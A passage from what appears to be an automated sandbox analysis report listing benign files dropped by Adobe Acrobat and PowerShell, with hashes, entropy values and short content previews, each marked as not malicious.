Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270503398900124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJf+dPeUkwRe9:YvXKXpIsnYUTbdXG28Ukee9
MD5:	22FAF3B3136F3CEF7C534CC60AA2621C
SHA1:	CF526008C2D9A6354A1EF1BA0BD56BAB86B2ED3D
SHA-256:	30B2A4ACC14AC6AEA11CB2BAFA47A1CD982AA1FC8CFD8E05157DE4B4F48AD6F0
SHA-512:	C9EEC385AE87FA9CC7EBA58B1943891776F8A216E28BE50BC704ED68B14CA9FE2BF838D26C23CCD35F402C332B6FB304E7DCFA059D337C7E053F61537B465F32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267806736772586
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfbPtdPeUkwRe9:YvXKXpIsnYUTbdXGDV8Ukee9
MD5:	A80DA2CBF2B1158F4D316354F459D0FC
SHA1:	8AFBD5DC0797955D8298C41CE8A2CEFBF900E3C9
SHA-256:	9B058C2DF8E26D093F40C873C1DF9BE78C8333B168E2CC0BD0E0D4E13F0BD61E
SHA-512:	0CFF9637EFC33ABDE168049D150C8664931C0B8F40BA6B1D5070EB3647BEB81B3452A317D961063259B5DE6D19DF851E6E99B6732BD3657D2B57C11A7CF670A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2706542986227864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJf21rPeUkwRe9:YvXKXpIsnYUTbdXG+16Ukee9
MD5:	E618A584F66FA570D4FDCE9C052B3220
SHA1:	F8D4D29C34EDC847E5BF6947A6518B766908EC89
SHA-256:	F58DE2A886906E1BE25D55C24A425D6B860CA0887BEB9211E88C39722036A4EA
SHA-512:	2814B5F538CAD82B1EAF34F4BAA537A670DEA54620D3F0CC09FDF55996938DC717C28A33B9D28A10D3604D308FF1B94784D676B82C112EBFD76FC1B4E377EA66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664254179529887
Encrypted:	false
SSDEEP:	24:Yv6Xp2UXqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSeo:Yv82wkBgkDMUJUAh8cvMeo
MD5:	B449D9A57A0AC7A6BE5E10D9BAD73425
SHA1:	2833AA289B795EC446A892D33F507C1C11D5E4E1
SHA-256:	E8AD1DE2F35702EC1D9192070C0EA806CF89855CA19599CE7AB6961A53F992C7
SHA-512:	76D4AD870AAC604C0C15086C0455A924E43076DDF73A44B70D8C7429DC428EB5B76879461DEC418F17AF478AD95397AD4A1EA57831E8297C5E517C2E94985FAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.249120455863839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJfshHHrPeUkwRe9:YvXKXpIsnYUTbdXGUUUkee9
MD5:	5728D9CA7B24AF7CDAC78EC7016F7525
SHA1:	5AD0C46027540573B49EF0BB613ADDD591B3316D
SHA-256:	C81EAD115EA86FE309B501336C4B90F0F3C5A01E63B41CE76AAE17A6093CE925
SHA-512:	C4F3F01320127DCF8DA3D873684F85B24C509766767A2B8034CD56E59949D640B0A55866F666F63061A9F0F5001D57839A188DA9DB4CFCF99F87B70BB4DBC07F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.262046382551154
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpS3snYUXjb24kF0YDLoAvJTqgFCrPeUkwRe9:YvXKXpIsnYUTbdXGTq16Ukee9
MD5:	8FF0A62541A4478A4B42BA283201C3E0
SHA1:	E6D77993843357378B3B948C5FD7883D54C3FF41
SHA-256:	9208AF855C8E2A64A900B26AAA0A16BA1EB9D82673C3E1E84F8D3A306BC045D0
SHA-512:	CDCD1950CAEED75724BB1B336ABE0F3202B89BDB6B67560DECC42FEA65A5201A08FFC6BF1A2B04403703DFD6A93935F2AE39DE07FEBCEEC1E9FC81B84133D93D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71b987c1-f9ce-4089-bcea-5e9c855c569b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736754804557,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138063911192732
Encrypted:	false
SSDEEP:	48:Yvr5fhpwlDte9radAAK+DcZZRZ+UnJK0WO/1vz939nJ:OKNGYK+wXnJUO3j
MD5:	156FC04A90584494416894B855692CCB
SHA1:	FDA9ED2458FE798A2ED0CD9F635C05A64F1AD4BC
SHA-256:	AEDAF69AE84296338C04D423FA8CFF0E6DFF020BF0DE28763866593416917EDB
SHA-512:	8978BBA6EB8F51C9EBB8E02A7E8C7CAB411C552B6FA27BC5A07EFBD885ED3C6978BEBE468020441CC794260DF57C0711335DA7BDB9FEAA725A17FB21747D95F4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fcaeecdb6c1d7e022e32da793cfd7f14","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736577098000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b6ff7a46dc6342ab5f6555830b6d6083","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736577098000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f8bca887b2c0ed96ddd16f09f3fc0734","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736577098000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c692e9d2ef44262f496bcb3e381c46ef","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736577098000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f045e77683ef7b48e3cfbe2559c215ec","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736577098000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9e0a0010e95777840adbc2454c48eaf8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3195850336090433
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yr+EXSqXlyp:TGufl2GL7msUKB0M0+Tb608YCrp
MD5:	EF34935199035CAA036E332B0803BE89
SHA1:	C6C350087AC56CA7AE869ADC41309DF586F68DFE
SHA-256:	CCB3FE14509A32F8AF3AABF89578DE3737E233670D6D85D5EC159BF358FD52DD
SHA-512:	BD7327717265AE211CDD1F66C07DA017C0BCA79409127BD0B572239C2C8007B17C68C2DA79BB52BCA82F873B515ADCE7CBAD3C5A0017904232AC76D45B4F76E0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.782226173395917
Encrypted:	false
SSDEEP:	24:7+tRUl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yr/EXSqXlyGKaiyqLhx/XYKQvO:7MRaKB0M0+Tb608YbrGKOqFl2GL7ms5
MD5:	3E9D705B8A82CEF929D3DB9B05C33E48
SHA1:	65FD3AF14C0B3384357A53E386700D9C10DFE288
SHA-256:	C8B0A4EED805595A9176A992B47F300521C18D6DD2C3A23BCF30394614BDB1F6
SHA-512:	B9611DF3C1EACAFBD6CF0382AA90AD06ACA9D37F3699928358EB504F275178425BC14530AA7FDC6622C48F0A083D167466858335B211D5F4150C08D6C6DBA963
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg4HdKp5ATlDF4ERWlLlZrqxqI2GlEYyu:6a6TZ44ADE49Kg4E8FlZrqpyK
MD5:	0A0EDFF0D92BB45ACBC11D2037E89954
SHA1:	A44C024D018E778F33C73515E5CA5622DECAA90F
SHA-256:	8384B11882345864806D68F462BF9F0F0A9E6CD15E6E6523C0CB21BFA64A2AC5
SHA-512:	E1B0C80C4D7DC4E4A82E16D23188613674E555FCB14FD41238418EE253930C756B2F2989D739A642CE78E2762D9744BC19D5A9702AC606A64333FA870484B252
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa728a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8fif9:Qw946cPbiOxDlbYnuRKdA
MD5:	5AD1D77B1948BE9F7FB56CA5BFF48E75
SHA1:	A7F00DCA7870D1DFCD1515A7B70E543E7442391E
SHA-256:	3219AE1217CB990D7722A2F60C8FB13EBF0ADC78E8659C736925EB07246420E0
SHA-512:	2F0264345FB3C39DF0AADBABBDB17EDD6A40AF9B9D26EE3F85DD832CD5C716FC085F3F34AB35B7423E7184DA4FA9A53E05F148918DE6AD24696E85AF6DFC0F52
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.3.1.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c1cghy5u.e3s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vmou3bom.ghw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-31-32-566.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.37352654525798
Encrypted:	false
SSDEEP:	384:o1vknVKDVi3BvSUjqW1wVLBFp2xVHDQAaLMZ+owgWFR7XFyOjzYLwhShEZFH/sJq:4gdy
MD5:	E33BDAB4C87D171D84E8600F4A09913E
SHA1:	0139D3EEDDF2903B052F0EBAE3BFF59E9BDB9CCC
SHA-256:	502FC8AAEAB4893A826D47A868FF7F87A7BA6240C5E379D483B203A83A11B282
SHA-512:	6BB95941C35380C48DF5F791A8969227CE5472E05FB7314BD1B57F2A9DBD74776458DA36F9D68C455DE558C0106DF986E7DDE2717E4938CCFC2A9B4485E2B455
Malicious:	false
Preview:	SessionID=ab90c7e0-d990-43b3-8ffc-493a84746497.1736577092578 Timestamp=2025-01-11T01:31:32:579-0500 ThreadID=8480 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ab90c7e0-d990-43b3-8ffc-493a84746497.1736577092578 Timestamp=2025-01-11T01:31:32:579-0500 ThreadID=8480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ab90c7e0-d990-43b3-8ffc-493a84746497.1736577092578 Timestamp=2025-01-11T01:31:32:579-0500 ThreadID=8480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ab90c7e0-d990-43b3-8ffc-493a84746497.1736577092578 Timestamp=2025-01-11T01:31:32:579-0500 ThreadID=8480 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ab90c7e0-d990-43b3-8ffc-493a84746497.1736577092578 Timestamp=2025-01-11T01:31:32:580-0500 ThreadID=8480 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397985326509342
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmR:EGvIcNYdf+T
MD5:	A7C96B6C02704AA5658804EA707ACC2F
SHA1:	E37F43964F55E427C465396B14D010931FEE6A5E
SHA-256:	3F6179B0ACF2310C6F69C7C365FD199976B17452A23D62BA64907B3615C14D3F
SHA-512:	9CCF52029939F8B289181D0AE62E906444A7776F36512EBE31E84BF7BB6FD108E272452D0A767DF4BD69701CEE509E2186384987DA7A0BF9B2EA99C9990DD20D
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\54ae22a3-e2b9-45fe-88ea-a73fd1cac689.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cbfee56e-9958-46dc-ae84-0552924056a0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
